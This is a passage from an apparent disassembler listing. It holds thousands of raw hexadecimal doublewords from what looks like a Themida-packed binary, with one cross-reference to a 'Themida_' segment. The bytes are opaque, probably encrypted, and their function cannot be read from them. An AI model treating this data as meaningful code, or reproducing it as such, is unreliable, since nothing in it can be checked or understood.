55B69C33h, 0B0EF5D46h, 80561101h, 40F23ADCh, 38A644F8h dd 50404DE4h, 4CED2048h, 1C70DF4Fh, 8FB32Eh, 0C981B16h dd 69766681h, 0E7962203h, 0C89547BAh, 121F1E4Ch, 0E72CB31h dd 40E046C8h, 54445923h, 50166F40h, 4C48EEA1h, 0AD186037h dd 5C082A1Fh, 8C61B300h, 0D577AE9Ah, 0BA9605EBh, 0A0295295h dd 0FD741544h, 49D3B704h, 18E06558h, 2848C0DBh, 3A99661Bh dd 0A013E04Eh, 0AE18C8B2h, 0FDFCF0E3h, 0AAACC10Eh, 853AE05Ch dd 2CF7858h, 146CF2F0h, 3421B353h, 9E9060Fh, 0B880F4E5h dd 0EFED50C2h, 9900A054h, 181C5BA5h, 0C0B4FC7Ah, 45682980h dd 7301449Ch, 947C2383h, 0AD0F441h, 31F213D7h, 8DD0023Dh dd 99050D79h, 5300C4B2h dd 2B962077h, 50D695B0h, 11DC7402h, 0EA10C484h, 710C0090h dd 6445A27h, 0FB09E26Eh, 608E4DEEh, 2DA2AFE4h, 5840BC91h dd 0EEF59472h, 4935EF40h, 0B8903C00h, 4CF8C168h, 4740B5Eh dd 88D0BD41h, 0F7C70C07h, 238763B4h, 0A2DBEF60h, 0E81F0945h dd 3A80D786h, 99CB75A0h, 315AA100h, 6348C9BAh, 6D4000D2h dd 0B925E857h, 7D0947B7h, 0E128E203h, 99939A5Ch, 2FFCB072h dd 0DF606901h, 0A65C2680h, 1B78ECh, 0C9963687h, 0A7F3E5C0h dd 5E447200h, 0FEF0099Ch, 5A240058h, 7DA34E99h, 44B8087Ch dd 8C509A16h, 0C75A10A2h, 54F189E0h, 1BE8CB18h, 0E4FD80ABh dd 80B91F25h, 0C63E27E0h, 0FB0A0081h, 7DA0F0AFh, 300049C4h dd 3A96403Fh, 3EBC8B1h, 56B68DBh, 1DF0BDD1h, 0B3004948h dd 0C3C7F6ADh, 38C10AC9h, 87004227h, 0DDC23611h, 2971AC74h dd 0EF0F9A1Eh, 40893340h, 2ABD310h, 41CECC2Eh, 8E804B88h dd 4347AA50h, 21D50700h, 86B4C1ECh, 4B9F00A0h, 2BFC8298h dd 12D39C5h, 0B5500371h, 4640F010h, 6BDB04F8h, 0AC441F7Ch dd 2FE70038h, 0C90E56A3h, 5B7900C2h, 0F898E1E9h, 0B501038Bh dd 0DAC7A96Eh, 18344D85h, 0B9800252h, 3B33CBECh, 0E4B10068h dd 0CDA8C895h, 3A147260h, 623A70F3h, 0FB1D20Ah, 0CACB0610h dd 0BB033934h, 0B9B0A045h, 7244A04Dh, 1F18DED8h, 0AF81003Dh dd 0D44FB321h, 0E690F00h, 304AF271h, 0B1520056h, 74A267F3h dd 1F382D70h, 12CF8103h, 147F7316h, 258E3BFCh, 700F2364h dd 0CF1A2800h, 3A602940h, 68CDD381h, 0FBE58808h, 10F14400h dd 0ECF31C1Ah, 5C9635h, 80CCD30h, 0B0C775BBh, 0E04E2833h dd 0C84035B7h, 674D0790h, 60836DD5h, 82454C95h, 0B43C5F00h dd 0D2D95CFDh, 0D8150004h, 75764E4Ah, 0C6006CF6h, 744D1006h dd 1DC5188Ah, 0E5DF59h, 0E0D30555h, 0CD00FC28h, 689C4B8Dh dd 72A646ACh, 1C650E7Eh, 0BC238A33h, 71D09896h, 4D03AD5Eh dd 5B562ECh, 4052A8B7h, 0A9E50EEBh, 72C3D9AFh, 7CC381B8h dd 8A5677E8h, 0C02D0700h, 4EB62CBEh, 4CEF00A4h, 8EEA88BCh dd 6C0FA870h, 0EE52966Bh, 0ED4E00C6h, 48D90Eh, 0E5DA1C5Ch dd 0F72D4D3Ah, 0BF22E300h, 0D4F4C4BEh, 0B5B80989h, 403729Ch dd 2DA05B64h, 0E9008F3Dh, 818E8724h, 5BA899Dh, 0B11E162Ch dd 0AC85C348h, 0A7971111h, 0FAABBD80h, 2D405A3Dh, 9C481AE4h dd 1E5741B8h, 98E7302Ch, 800C9211h, 49E422h, 1177B4ACh dd 781448F3h, 0A109CB64h, 9C8C40D0h, 15DC0077h, 0C36120B3h dd 690D0BD6h, 61318E75h, 8FCF4640h, 7E8A2E3h, 1E424B3Ch dd 3FBC4414h, 8600882Dh, 40D8E4EBh, 8CCF4F0h, 3F4F215Ch dd 0E28A0D82h, 24E465h, 0EC696F1h, 0BF1F8EC4h, 0ABD6183Bh dd 0DDF3F606h, 41D01B81h, 6FC8B1D6h, 7E0312B1h, 140FD1D3h dd 0C8CAF75Ch, 10313718h, 0B6090016h, 8A065B9h, 8CCB5B1h dd 3F221CBh, 426E091Eh, 0C3DBF3D3h, 5E7D1974h, 91F12E00h dd 53C0B987h, 6D650EFDh, 0B685063Dh, 6CB84047h, 9C1902CBh dd 0D07D3C00h, 716EEB6Fh, 8C745001h, 85048C1Dh, 0ECEBE10Dh dd 0B6225E62h, 77026087h, 8C64015Ah, 137914D7h, 12218242h dd 0E098AF9Eh, 0ED63DFh, 3AD8B674h, 0D999DC28h, 0C7E81805h dd 0D059EBCFh, 0D3188B80h, 0EB870D08h, 5C5FC4FCh, 602BA0B0h dd 0F2463A61h, 0B76A1961h, 41F18A7Bh, 7163C0CAh, 1CE9230Ah dd 0E40D8E01h, 19F4EBh, 0D804D64h, 863C4F01h, 0C36C1FE7h dd 90CBD142h, 6E3FF4h, 708CA9F0h, 0A09754E3h, 10DCF500h dd 0F739C96Fh, 82CF3141h, 81C1C851h, 71444A39h, 0F0E83940h dd 2DE3C23h, 464D0C80h, 0D312A35Ch, 90B7272Ah, 74445CA7h dd 5F3D9760h, 0A7FFC700h, 546485D7h, 92E47F69h, 75361664h dd 2A154F24h, 0CDCC9878h, 0C3674102h, 440C94FBh, 168546D0h dd 200977B7h, 0A4D03140h, 779F8F10h, 5F5D8C00h, 0D4EC4093h dd 0B96C00D1h, 0CB6E853Fh, 0D2007231h, 180DE7EBh, 34326A95h dd 0E61CD41h, 891BAE4h, 8CC513F4h, 5019C0C8h, 68009079h dd 0A749EB25h, 4DC3E5h, 0A82FF902h, 74CA3928h, 6EEC51C0h dd 0B8E9B4A6h, 0CC6C51EEh, 11510FF2h, 4C7C5D6Ah, 2448FEF7h dd 4727D0C2h, 1819C499h, 0E50D1D89h, 7020E4EBh, 0D048BB2h dd 183C532Dh, 23C850C2h, 71002259h, 0A8FF0C01h, 0EFF11Bh dd 0D692A6B7h, 0E01C280Eh, 900A1002h, 90705F29h, 0FF14388h dd 8C75276Fh, 91E851B1h, 5918C110h, 0BBF1314Dh, 7C9648h dd 6937F0E9h, 0C855512Dh, 6A86BFD8h, 3141B6h, 4395EE6Ch dd 0D1BBBE36h, 0A45CE72Ah, 0AA3160C8h, 392D0514h, 64767AFBh dd 579C4810h, 0D2C36D83h, 4449184Bh, 3BCBB050h, 2A1E9DFCh dd 0F300D72Ch, 72665D97h, 4690980Fh, 91A1EBAh, 0C485B948h dd 628E40C9h, 0EE49109h, 0AA7078D2h, 0C4717BADh, 0AF001E07h dd 7F10273Ch, 71B6B7D8h, 9B1A1E01h, 736C0065h, 9C6792ADh dd 803ECF38h, 53EC4315h, 1451B4D0h, 8C287CBBh, 762E13h dd 0EC015C9Ch, 81C03FC4h, 0B416A1FBh, 0DE79003Eh, 6F2C697Bh dd 4955B265h, 8D75FCACh, 0C5D268A0h, 14530A00h, 706A1F4Dh dd 0CCF1046h, 5C3178CEh, 75E73945h, 4E2AC981h, 0F4B49FB1h dd 0A30E8A6Eh, 256A88h, 0DFD3D5B2h, 0B8E550CAh, 0E85952D8h dd 3AAD3100h, 0A577079Eh, 0CFCA7F04h, 2CCFE249h, 0C7CF7588h dd 77908854h, 121C80DBh, 89E9CBAh, 21410CA8h, 88F5EB6Ch dd 1B9D5BF0h, 0C970E79Eh, 2089B8C8h, 599F6E00h, 870B73E6h dd 9ABE002Dh, 5CF86F50h, 75244A94h, 0E2001460h, 0F31486B4h dd 0D020E758h, 0D89C0970h, 0C8174A66h, 59845C91h, 45C08C73h dd 0B369F800h, 0B975A3E8h, 0AEC25h, 0D9D5DAC7h, 0EEF7CF0Bh dd 0EC176500h, 182CA76Ch, 3FD27C53h, 0F44CFF3Bh, 6A1B3200h dd 5258804Ch, 0E32C59C0h, 0E4C78831h, 0CF3A3F28h, 212308E6h dd 31BB8F1Ch, 43E48DC0h, 0FA6F2B48h, 0EE900449h, 0C2C0FEEBh dd 0B5308BBCh, 0F3161777h, 8D8C3850h, 3A779D1Dh, 0F5EF3380h dd 0B09F60F9h, 11644290h, 0D0404FB6h, 1370123Fh, 23043A7Ch dd 0B78E0071h, 65D40A2Ch, 0E6367401h, 7CF8C3DBh, 897B1833h dd 3D42959h, 0B0AC8B5Eh, 52E92028h, 0BA029E46h, 98F31777h dd 8A0130C7h, 6E057782h, 2EAEB7CCh, 74A80817h, 1000CF46h dd 0F5A7FE14h, 5A900206h, 16ED004h, 0C8C34E7Ah, 0EBF4C03Dh dd 804896CBh, 0AF8AF5BDh, 0F000731Ch, 7EDCCA81h, 2A2717E3h dd 0B1906F13h, 1875D168h, 0E4FA00CDh, 0B589E5F5h, 8CB09E8Ah dd 9A756C00h, 0DBEBFD02h, 12A8075Dh, 0C24E36BFh, 0B091C4F2h dd 52F11046h, 0DE620022h, 55BF5DDCh, 61F6D8EFh, 8CDF0C3Ch dd 40A0C3F8h, 2AD57043h, 0EBC72E4h, 0FECAF362h, 0A04F4760h dd 0BF0D141Dh, 3045CFF8h, 3087D402h, 1A117799h, 0A288B0F3h dd 77818983h, 3C36E8D5h, 7F531298h, 9D9408D1h, 8481E4C4h dd 942680C7h, 8C00D422h, 0CD0531BCh, 2E7F4A7Ah, 6414C046h dd 0F1F720B6h, 20B5598Fh, 0B0126519h, 8B61882h, 0B8F36377h dd 217DC6h, 0B9779E8Eh, 69AA6D55h, 0D16CBB03h, 0D718CC14h dd 0B7DBEC60h, 0BEB12880h, 0B580C488h, 1AD45031h, 409135E5h dd 2191110h, 505EA57Ch, 1C83F87Bh, 36537385h, 0D7DA17Ch dd 2C0B5E0Ch, 48E728C1h, 4AD0EC3Ch, 33F44058h, 1805E64Eh dd 9623D800h, 0D199EF15h, 18AE9F13h, 65700E20h, 0E016E45Dh dd 0BC32F150h, 1CC4A9h dword_4B305C dd 0FF129FAEh, 0F889426Bh, 0F7F13C0Ch, 0E2F29B9h, 0C55A5014h ; DATA XREF: Themida_:0050FAD8o dd 1E693920h, 2B0A4975h, 0C4F34CBEh, 0F1C35F67h, 0EB38A10Ch dd 40F86C20h, 28910195h, 860D70D0h, 11132F37h, 0B721C190h dd 0D19B13DCh, 10983A46h, 80DD0D47h, 72C0AA9Ah, 0E5044DE8h dd 0C7CB8610h, 47619F1Fh, 30478DD1h, 282EBB6Eh, 0DCA25400h dd 0EF6D7AE1h, 6C052C2Bh, 0DB430BE8h, 407C9884h, 333D9211h dd 0F6E606h, 0C051A0A7h, 0C377029Bh, 0CCF1ED04h, 60EF4959h dd 468B3D74h, 0F6671003h, 0A042D5B8h, 72CFC53h, 1BD754EFh dd 61D9C39Ch, 6D81AEE7h, 0F1FEBFE9h, 8F1EE0E0h, 10C368E8h dd 0D026A199h, 15555Ch, 0DD6B5374h, 0D16FE81Ch, 3EF7D38h dd 46956D16h, 0B8E9D0E4h, 0F9FF810h, 9A61E0BCh, 8308F00Dh dd 6996630h, 0A0F7E3EDh, 948816h, 0AC65DA53h, 0AB6BE35Bh dd 0D153091h, 16BFEB04h, 1C8235E7h, 0C894E018h, 32723E46h dd 2BD0404Ah, 667DF899h, 0E34E0B00h, 0B829F590h, 0C3080BA0h dd 0D84F3FFBh, 0D8B6E560h, 0C93E0047h, 4D279197h, 4112300Fh dd 6CCF84C0h, 8EC07488h, 10367E2h, 0DFA52C69h, 0D35820B0h dd 64CAF900h, 0AB9FC013h, 22B0FA7h, 0E3003DE8h, 5110AD06h dd 0C020CC4Bh, 7D70BDBEh, 6172034Ah, 0C5183DB1h, 0D7539598h dd 35148F18h, 0CB21B8h, 4E3B615Fh, 0AA8994ECh, 590CF413h dd 0B317ACD0h, 269F004Fh, 325667DFh, 2F00926Bh, 5CCD1569h dd 0F2C69CE4h, 0D045046Ch, 0E3BB4CD6h, 9171E30h, 0C58DB94Bh dd 1FF180D8h, 9FB49709h, 0B665D717h, 0FF274C90h, 49C207B3h dd 0B7B58E4Eh, 11F4CAA1h, 0BD60071h, 79EAF4BEh, 290E041Bh dd 0B1347241h, 7BCFD98Ch, 436ABC43h, 6C591748h, 52849013h dd 8F00493Fh, 963B08FBh, 75909D2h, 6F8A8271h, 75C5D00Dh dd 0D8B40F72h, 30BDE0B2h, 0B5110911h, 2D887DB9h, 919FB80h dd 0BAB372Bh, 0B2DFB344h, 0F4E581DDh, 14264AECh, 2CC131E0h dd 0D60042E2h, 0A32B2A1Dh, 9E48C6C3h, 32F28828h, 97A0B982h dd 13F08242h, 0B6347807h, 5E465EF0h, 12D2A701h, 0D3CBC2BEh dd 0A96EECD0h, 53285918h, 0DEA80D29h, 0CFC90709h, 4E4AB0E8h dd 6802700Eh, 78A5D51Eh, 0C1E480A8h, 0C0EF67CFh, 6A104B20h dd 64E4D545h, 12CDAC40h, 1913CB27h, 20449C00h, 0DFF433D8h dd 0C0D05E6Ah, 22FD08h, 45576831h, 0D4A949B0h, 0D9DFDCF1h dd 69202C63h, 7183E267h, 31E281A8h, 18B0C785h, 0BA9288D7h dd 81C03100h, 0F0C44935h, 43110CECh, 0C5A0A2E8h, 0C2F72710h dd 83195003h, 98126353h, 1408CD51h, 915C1B9h, 6C1DE999h dd 0E3F7B3CCh, 0B7080309h, 0CA96904Ah, 0E71E9812h, 0F668A8A4h dd 0CCF327E5h, 7A73881h, 0FC9F4031h, 0E8C62AE1h, 74C13DAAh dd 789F526Ah, 89318602h, 0D53190C7h, 31BE8E10h, 8200E676h dd 9BD94377h, 0EEFB19D7h, 4968C12Dh, 38D814B9h, 30D6BDC8h dd 520034BAh, 5C2BE424h, 0EC7336A7h, 0B8A0F5F5h, 627720A0h dd 5987EE13h, 0E816D493h, 1D5C9D2Eh, 49E7892Fh, 500071F8h dd 0ACA46CA0h, 0CEE17517h, 74EBF088h, 0B321FD9Ch, 30D14C48h dd 379157E7h, 5D001E67h, 6C96FEBh, 2F86AEAh, 0B9539FE4h dd 0CC41A075h, 358F181Fh, 625AE30Dh, 0B0205990h, 12380D81h dd 0B844A563h, 8CC507A1h, 0C98C5954h, 27E789Bh, 0F9C39F48h dd 60426E75h, 0B4BC3044h, 831A308h, 2B80DEC8h, 0E85EAE92h dd 409900FEh, 36EED852h, 0FF018FE5h, 0BCBFF282h, 1462596Ch dd 5F077600h, 170F2725h, 44E23Fh, 0C0DFDCB0h, 114C197Eh dd 3C1C43Fh, 9A2CF75Ah, 0D4460036h, 9CFC160Eh, 0CF7DC3C7h dd 0CD4E41E6h, 0D1B85847h, 0D42940D1h, 0C5F2F432h, 0CC855630h dd 8510EE8h, 0A5244312h, 2448A854h, 46745C22h, 0FFEF5048h dd 0C8272F24h, 0F8C3DD02h, 13F8A77Ah, 0B971FCh, 0A644F9B1h dd 0EF8AB8EAh, 2A9A0400h, 0BC6C8057h, 87FA82h, 4116A34Ah dd 175AFF5Bh, 4E9BE400h, 0D167CA9Ch, 1C915C5Ch, 0D4347BCh dd 0A755C300h, 0B628BF59h, 704F9E01h, 4B980DE8h, 12D31820h dd 0A79D0FCFh, 0E050A0A0h, 6E13E42Eh, 1E00190Fh, 0D723DBABh dd 38056E00h, 24261B77h, 0E0D8B0A8h, 7968B1D5h, 9218C9h dd 0BB6973F1h, 53D74735h, 6ABC2D50h, 0B056B55Bh, 5B8CC830h dd 4A2100A9h, 12459CDBh, 4803763h, 8CCA0B6Eh, 0FC115974h dd 2B47F8F4h, 0CAF6E23Ch, 0C6C8708Bh, 698430C0h, 95D10163h dd 0C18FF392h, 98482A75h, 914C0BCh, 0B546B9B4h, 0F0002C22h dd 0BD67091Ch, 2A670F9h, 179FD3B6h, 0A4E1C78Eh, 0E050743Fh dd 0AC2F745Ah, 0DB017F23h, 3BB7D01Fh, 0C42D1F4h, 0DE93FFC4h dd 0F8A1F058h, 7CC024A0h, 0C0BB6A13h, 309CF032h, 0EC113187h dd 0DE88E8C7h, 31BFBB80h, 60FFA8FBh, 0BE6D729Ch, 9790408Dh dd 392EECA4h, 0E56424D2h, 9BAB1920h, 0C2F17340h, 431324C8h dd 500B200Eh, 2419C75Ah, 78722D5h, 50AE9588h, 81AA168Ch dd 0C7C5D006h, 4BD8CA73h, 4B0CD0C8h, 0DF004879h, 0D446DE14h dd 249F19EEh, 4C8B6B0h, 0ADE79E9Ch, 83017F50h, 0FC11CC41h dd 1F30EB4Fh, 22840E74h, 44E27CAEh, 10512165h, 74891D00h dd 0A0C3662Ah, 2EB358A2h, 9741A3Dh, 0A8D1D834h, 6D18A479h dd 0F387EF3Eh, 0D1DC530Bh, 0D0600302h, 0AB3398CCh, 0E7EB0147h dd 6A9778B5h, 9F142032h, 0E0DA2140h, 48C94C46h, 5D38C885h dd 0DD7C0084h, 58B55720h, 0DF98A250h, 93A6720h, 4884A5E8h dd 0FE6F1481h, 18412ACBh, 0CC832C21h, 0BBB6DA87h, 0D432EB46h dd 47591CD9h, 0B5390318h, 53E580C2h, 5254166Fh, 805D09D1h dd 9465Fh, 0A3E49C45h, 12024160h, 0A62C0172h, 0CD4070CBh dd 0EF56181h, 434E4798h, 0CC1CB4C3h, 0E3B6BA90h, 531D4402h dd 853F85E4h, 0E4CEBDB4h, 0C3C0D988h, 0A090BCFDh, 402FCFACh dd 0B570683Ch, 0C0DA820h, 2DA18C5Bh, 8098B168h, 5DB42854h dd 84C9C32Ch, 0EB74AC48h, 0B0CB2019h, 1D53A600h, 0BC33FC21h dd 8C2097CBh, 16E47A83h, 9A04AFE4h, 0BC04AE27h, 89445491h dd 3A54F830h, 5AA40D68h, 61C1604h, 0E9DC5958h, 0BB7AE3A0h dd 5B4AA100h, 0EC8349ADh, 346C385Fh, 75D08281h, 7C628060h dd 0EB009E0Ch, 833FDE1h, 241497A8h, 748004F7h, 0BA729335h dd 654B20D4h, 6F282098h, 1A25B852h, 80B0356Ah, 2DEDCDECh dd 65EC27BCh, 6E205C50h, 0B81CF103h, 124137F8h, 0A4CBEB70h dd 800E5E4h, 7412D0D1h, 0EC9EEh, 577E7609h, 0F6EB351h dd 0D2871500h, 0EFDFC49Fh, 74A89A39h, 704C2766h, 389C7C60h dd 91781D9Fh, 0E106805Eh, 13E2BBBDh, 8832659Fh, 6E00842Ch dd 0A5728FEBh, 3AF40F4Fh, 0E48558B6h, 177E1C0Dh, 0C8F0CBE0h dd 9C36C04Bh, 0B9DFE875h, 0B881426h, 0BD50023Eh, 0F09170E4h dd 0DF24F0FEh, 1A5B5C00h, 4FD9B04Eh, 3F02008Bh, 57975A27h dd 50B0CBA9h, 0DC69D860h, 973FF275h, 989D8009h, 2881C511h dd 2F13F471h, 20012840h, 14B945EFh, 0E8995936h, 66C22309h dd 9CF19880h, 566AC6C3h, 44286CB9h, 8D458A4h, 724C5148h dd 0C4DA4AD0h, 5234C480h, 0CA02AB15h, 6A7F0963h, 2038795Ch dd 8EC140A4h, 0CA1B892h, 1D841862h, 2EEBE20Dh, 9EB370C4h dd 1E6A0D04h, 0B4FC1835h, 16968C0h, 3C02FD22h, 0C0B5898Ch dd 0BCE86857h, 12A9776Ch, 49D0784h, 0A2D01D7Ch, 242B4BB4h dd 8604C223h, 0DC98B079h, 0E94A6059h, 822E8D1h, 1CAF4903h dd 0C8B95DF0h, 48EC9C33h dd 2C802CCBh, 0D0DEDC3Ch, 0BC0C5139h, 736C02A8h, 59186F89h dd 0A31900C0h, 4E312CABh, 0DDDFF309h, 0D1A080D6h, 9D9CEC1Ch dd 0F8E26818h, 9368703h, 0CFCF145Dh, 0B4A5AF30h, 9A7702D2h dd 0B2930569h, 89EEF890h, 449A6CEAh, 90CB4125h, 5048BB1Ch dd 18A5A074h, 0B9B56518h, 0D70DEB30h, 88456D97h, 453ADC21h dd 8ED843A8h, 0C020C820h, 3D3843A5h, 0E61709F0h, 4C301B4Dh dd 1D80136h, 59C5B37Dh, 20FC928Ch, 7A0B891Ch, 0A25BF4B9h dd 180D54E4h, 0C4874BDEh, 24DC60D7h, 0FC1B0E7Eh, 0A5695334h dd 0E46900E0h, 96697360h, 472478Ch, 0FC8BFDDBh, 0CDB481E6h dd 44FC147Dh, 37C27880h, 7F03BE36h, 1093243Fh, 2C98B047h dd 7511268Eh, 94482AA4h, 0A501D618h, 82648853h, 1220697Fh dd 69F896D1h, 0DE5908D1h, 4402AB18h, 0F8ADEBDBh, 0F7E0C0AFh dd 4520B0BCh, 0E12161DFh, 2C413EBFh, 5D6A5B41h, 4C80845h dd 25D8BB18h, 20914097h, 7AF98A80h, 10018375h, 0F18C2924h dd 0B4684A3Ch, 78C7BB8h, 0CB49311Dh, 860499Eh, 3C80380Bh dd 219C9636h, 18C6D1C4h, 0B2870294h, 7DB87E8Fh, 10325061h dd 585BD331h, 0D113B467h, 0C0409A4Ah, 0A1385554h, 48E74C75h dd 4818D089h, 0D100DE69h, 719D0653h, 0BA0754h, 0CD1BCFD2h dd 9BEC6FDBh, 30C33204h, 9CF45878h, 9E6E3E01h, 87AAA185h dd 8F188093h, 7890D19Dh, 866FD300h, 0C1DC5DD5h, 41CB66Ah dd 0E4AEF43h, 40598FE5h, 0EA0FA85Dh, 165CB836h, 48B382D2h dd 9D41247Ch, 4C228066h, 0C9A01C26h, 1C499007h, 8916FD30h dd 60C9C753h, 6570E0h, 6B311B40h, 0C3E9D88h, 0CDBF3607h dd 207F5116h, 0F82859C0h, 613B0EC5h, 806F0270h, 27F20FA0h dd 1EE8E7B5h, 0EE41A100h, 3B1B5E03h, 47E63C34h, 3E867F2Eh dd 8467F300h, 687AD6B0h, 78611100h, 0E5A53902h, 1D760Bh dd 32F19C6Ah, 6F7C0970h, 0E20CBF0Eh, 75650379h, 403B88B7h dd 0EFB570DAh, 8702A878h, 86F133D5h, 7111FC9Dh, 3CA05B82h dd 609D605Dh, 0EB2F3D2Eh, 7BEC93h, 0F4596CD0h, 0D8A04FA1h dd 4417C5D2h, 0EC08B953h, 20E8205Ch, 38B0338Dh, 0D54CBF46h dd 6DB9B709h, 0F5076C1Ch, 6C68098Bh, 0E20CD4E3h, 3F4041E4h dd 0CB006E08h, 0EE113BCEh, 59F78494h, 0C08118EBh, 0C675E7F3h dd 0ECE90100h, 785D14EBh, 94116079h, 0D0A44C45h, 0F2E9008Ch dd 0DA5D4E74h, 442B0C1Ch, 36806FD1h, 0FFC73E84h, 1BE03BA4h dd 8CAB206Dh, 789D45AAh, 7594CF11h, 0A9C88400h, 3F955864h dd 541D700h, 0EBF9BE25h, 0AD7CB696h, 0C4914497h, 4E594D83h dd 6390E970h, 50EDFE05h, 0A08242AEh, 31E53082h, 98C7D213h dd 189D838h, 0E2C531BDh, 0FDBF6C99h, 4E07833h, 4C458FF3h dd 376ED100h, 1428B56Bh, 6CF4BC73h, 0BCB87CE9h, 13038CC8h dd 0BD3ADEE6h, 70DFE9B9h, 21BC70A0h, 6C2EDD25h, 2D4656h dd 0AE62ACC1h, 4E7FE4Fh, 5EC99776h, 0E2FCF291h, 2CDA3170h dd 43BE81C4h, 4BE0A733h, 0D43727A4h, 18444016h, 28A9B0ECh dd 17947AE4h, 6D33FCCh, 516513B8h, 0B74FB900h, 0C1FAE19h dd 0DA673F9Bh, 0C24E2574h, 404DECA9h, 0C86009C3h, 0A126B9DCh dd 9440BFA4h, 94CC3904h, 89EC8FE0h, 7462BC69h, 508520D9h dd 84AC1940h, 2DC46C24h, 0C85F804Ch, 0B5E9C490h, 846D480Fh dd 1C20D030h, 11458F75h, 12C51EAh, 85C581ABh, 0EC623002h dd 0D17D0A07h, 0F0005E60h, 0B582DD2h, 897506D8h, 5C1E08E4h dd 2098DC4Ah, 27F85DC8h, 0E0E9A44Fh, 50BB1881h, 9FA09C77h dd 8B003896h, 89347783h, 12246849h, 19C4F7FFh, 3C90A2F8h dd 38085830h, 0EABD9FD0h, 2A80A0E7h, 66083Bh, 2E48DDE1h dd 1F73A290h, 293ADA7Fh, 0ECF784EFh, 1CC78F53h, 0B5D81412h dd 0D6208050h, 0F54644CEh, 708EA494h, 224B88ADh, 27120BFCh dd 6C63EBCFh, 0C18CC6ADh, 548FAEC2h, 1088C27Dh, 4FF87BA4h dd 71F4D67Fh, 80B79Fh, 0CCD69895h, 0B15B0245h, 21CCC8h dd 0BC1526BBh, 18169A8Ch, 95C10A19h, 0D11273C8h, 2C441467h dd 0CE92D077h, 5B160B85h, 4C04A8CCh, 0EB0B7353h, 5C11E09Dh dd 21A7C980h, 60613FCBh, 30640A48h, 4BBC903Ch, 77CC128Ch dd 93A81F43h, 0C81CCE79h, 2135C0D5h, 0F50538E2h, 0F6E3F312h dd 11BCC4B9h, 85627E00h, 0FD59410Ch, 4104BC9Bh, 0E4033E2Fh dd 0C600A7ECh, 0C0F9E6BEh, 0FA0CB1B8h, 0C3D61251h, 5368B4CEh dd 78558C16h, 0C7C5A0C0h, 2154F6Fh, 40E2DF64h, 7579C071h dd 0C8024518h, 6581660Eh, 6D4524Eh, 0C9E7F16Ch, 585F70D5h dd 4BA65440h, 24A3B5h, 9D0EE565h, 411870A1h, 88678012h dd 0D533BC05h, 0CFC8188Bh, 79FBA6C0h, 0EC6F04DFh, 0A9CBBA9Ah dd 454E00BCh, 6415E48Fh, 88960063h, 32625B92h, 22097C9Bh dd 59FEEB84h, 185F7944h, 0EEF3B14h, 10482F5Fh, 49C00CA4h dd 9F4AADB8h, 94F3442Fh, 6C10F540h, 79CB6B13h, 6F398079h dd 0F848697Fh, 22A49085h, 0DC5B7C17h, 0C2BC88h, 0BE74CD1Dh dd 0DB4B761Ch, 26377B02h, 0F494D391h, 67CC6494h, 80BF485h dd 90182CBBh, 0CEC28B7Bh, 425C1090h, 0C5A59CB6h, 6074E478h dd 30147B5h, 4D9C6B3h, 0A0C6696Ch, 10B6609Bh, 0E41A2C08h dd 0BF6D4164h, 796C650Ah, 4BCD11ACh, 38394427h, 9E11886h dd 0B8C78E31h, 8D607859h, 7D5E31B9h, 3EA32024h, 0C45E809h dd 62108975h, 9CB73Ch, 9A535FC5h, 7209CB35h, 51D545FDh dd 19C579C0h, 7D3C8F4h, 474164CFh, 4CDA794Eh, 957E38h dd 0DE739EA2h, 50657Dh, 0EB8FA0D2h, 3C25E7F3h, 6CB42582h dd 10700B3h, 60401EBEh, 0BC3FC353h, 0CD588274h, 0E2289B3Ch dd 6C088BFBh, 44B48764h, 720674Bh, 50336818h, 2F532C2Bh dd 488105FCh, 39A075BFh, 0F07B898h, 5B21744Ah, 6551DDECh dd 69C7E474h, 3740F7C2h, 0AD1E96Ch, 3523CFC7h, 0CC843BF8h dd 0B52FF318h, 0BC2F3A34h, 3500CF23h, 0BD50CA20h, 12FC00F7h dd 61B1C36Ch, 0F14ABF6Eh, 0F5906481h, 8860CE04h, 0F4BDC048h dd 0DC69F275h, 2C4479h, 3C5CD04Fh, 0B995F71Bh, 0CC4B6938h dd 8C7BBC78h, 4F417E00h, 0E02CB43Fh, 734D20E7h, 8247C8B6h dd 7FE33D80h, 6BBC0075h, 0B94537ECh, 0E1520F89h, 0F38706ECh dd 4F1BB7Dh, 249EC480h, 0C234EC22h, 0C0A46830h, 814EE0C8h dd 0BF40850Eh, 8CF16BF8h, 0F14460E6h, 80034AFFh, 0AB336DE0h dd 94BDA32Eh, 2D8FD705h, 7414E785h, 0E95F0F94h, 339DA04Ah dd 772993CBh, 0C8C90431h, 8E186FDCh, 0C07B8830h, 0E7E6FEAEh dd 0A11471E8h, 4A34DFD0h, 78F264B2h, 134A430h, 0AC5595B2h dd 0CD9B805Dh, 0BC98293Bh, 2F473054h, 0C30CA6E6h, 0E0D7F826h dd 0A47028A1h, 3202860Ch, 0F0DAF86Dh, 9FE4FC13h, 0AEC00FDh dd 3EF390C6h, 48C495h, 535174C1h, 0F78EFEF5h, 9EE643Bh dd 6558363Ah, 0CA2E2E8h, 0F0DB18h, 0D76715E9h, 0F5E4680Dh dd 0ED2DAC9Eh, 3016C7B8h, 0A8595897h, 0F110CD02h, 223094ECh dd 375DA765h, 6FBC0008h, 0FB65FAB3h, 6951D900h, 0A8BFB4BDh dd 0D80859DFh, 314F943Ah, 1C56B60h, 0B863B96Ah, 402FF121h dd 0D309D7DCh, 81742440h, 2D69E8h, 6078D05Dh, 947320A7h dd 18C0493Dh, 97F3EF33h, 81289C89h, 8560A01Dh, 10CC27E4h dd 0C514FBDFh, 0E88184C9h, 0A89DD4B5h, 152CA418h, 183E38B9h dd 6341B1B7h, 77CD1759h, 0E0A0F6F1h, 7228521h, 5044DE25h dd 64592C59h, 2BD8EA00h dd 6198B7FDh, 267F092Ah, 0F002B9BEh, 0CD09A294h, 542AC0F0h dd 6B09AAEDh, 713E1CBBh, 393500F8h, 0FD59BCC2h, 4A73180Eh dd 0C38E2675h, 9C909D21h, 8009013h, 28F66029h, 9FFCBA98h dd 42A88C0Fh, 7D1A3781h, 88C423B5h, 1B58305Eh, 0E9AC82CCh dd 0CDF500Bh, 0D4DAE4h, 8FA296F5h, 0CF5EC415h, 7408DCEDh dd 7FA6EB0Eh, 1C1696E7h, 0ACC03316h, 0E959F453h, 0F1D4EC40h dd 3066975Fh, 5C71F491h, 0EC044F18h, 593B8331h, 0EBE02480h dd 30F9CB15h, 0A280F037h, 55F7F30Bh, 88049E39h, 7325D8AEh dd 0ECC40070h, 4B80B973h, 73D0134Ch, 501950A0h, 740052EAh dd 677BBEB3h, 4ADEE6Ch, 0A571CC62h, 3A4E2CEh, 0BDFC7381h dd 507063DBh, 0D0007A7Fh, 